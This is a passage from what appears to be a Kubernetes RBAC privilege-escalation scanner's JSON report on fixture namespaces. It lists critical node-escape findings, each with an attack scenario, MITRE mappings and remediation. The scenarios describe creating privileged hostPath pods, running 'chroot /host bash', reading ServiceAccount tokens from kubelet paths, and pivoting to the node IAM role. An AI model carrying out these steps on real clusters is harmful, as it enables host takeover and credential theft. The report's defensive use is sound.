      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `get nodes/proxy` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "nodes_proxy",
        "technique": "KUBE-PRIVESC-012",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-nodes-proxy",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get nodes/proxy",
        "gains": "can reach kubelet API via nodes/proxy WebSocket verb confusion",
        "source_binding": "crb-nodes-proxy",
        "source_role": "cr-nodes-proxy"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/rbac-fixtures/sa-pod-create:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-pod-create` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `/` via `pod_create_privileged_escape` (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-pod-create` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker uses the `pod_create_privileged_escape` technique via `create pods (Pod Security Admission does not block privileged)`, which gains can create a privileged pod that escapes to the node.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_privileged_escape [create pods (Pod Security Admission does not block privileged)]"
      ],
      "first_action": "pod_create_privileged_escape",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_create_privileged_escape"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-pod-create` → `/`). Evaluated cut: removing this subject from the `crb-pod-create` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-pod-create` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod rbac-fixtures/daemon-app-nl55v falls back to node IAM role via IMDS"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/rbac-fixtures/sa-workload-mutate:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-workload-mutate` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `/` via `workload_privileged_escape` (create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged)): can create a workload whose pod template is privileged, and escape to the node from its pods\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-workload-mutate` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-workload-mutate`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker writes a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged)`) whose pod template is privileged or mounts the host, in a namespace where Pod Security Admission does not block it. The controller creates those pods, and from them the attacker reaches the node.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_privileged_escape [create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged)]"
      ],
      "first_action": "workload_privileged_escape",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "workload_privileged_escape"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_privileged_escape",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged)",
        "gains": "can create a workload whose pod template is privileged, and escape to the node from its pods",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/vulnerable/default:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/vulnerable/default` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/vulnerable/default` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/vulnerable/default` → `/` via `pod_host_escape` (hostPID,hostIPC): runs in pod vulnerable/host-ns-app-7cb46d5788-2bmjc with hostPID, hostIPC\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/vulnerable/default` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/vulnerable/default` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/vulnerable/default`.",
      "Acting as `ServiceAccount/vulnerable/default`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [hostPID,hostIPC]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `hostPID,hostIPC` that enables the first hop (`ServiceAccount/vulnerable/default` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `hostPID,hostIPC` that enables the first hop (`ServiceAccount/vulnerable/default` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "hostPID,hostIPC",
        "gains": "runs in pod vulnerable/host-ns-app-7cb46d5788-2bmjc with hostPID, hostIPC"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/vulnerable/privileged-reader:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/vulnerable/privileged-reader` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/vulnerable/privileged-reader` → `/` via `pod_create_privileged_escape` (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/vulnerable/privileged-reader` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/vulnerable/privileged-reader`.",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker uses the `pod_create_privileged_escape` technique via `create pods (Pod Security Admission does not block privileged)`, which gains can create a privileged pod that escapes to the node.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_privileged_escape [create pods (Pod Security Admission does not block privileged)]"
      ],
      "first_action": "pod_create_privileged_escape",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_create_privileged_escape"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/vulnerable/privileged-reader` → `/`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/vulnerable/privileged-reader` → `/`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.9,
    "category": "privilege_escalation",
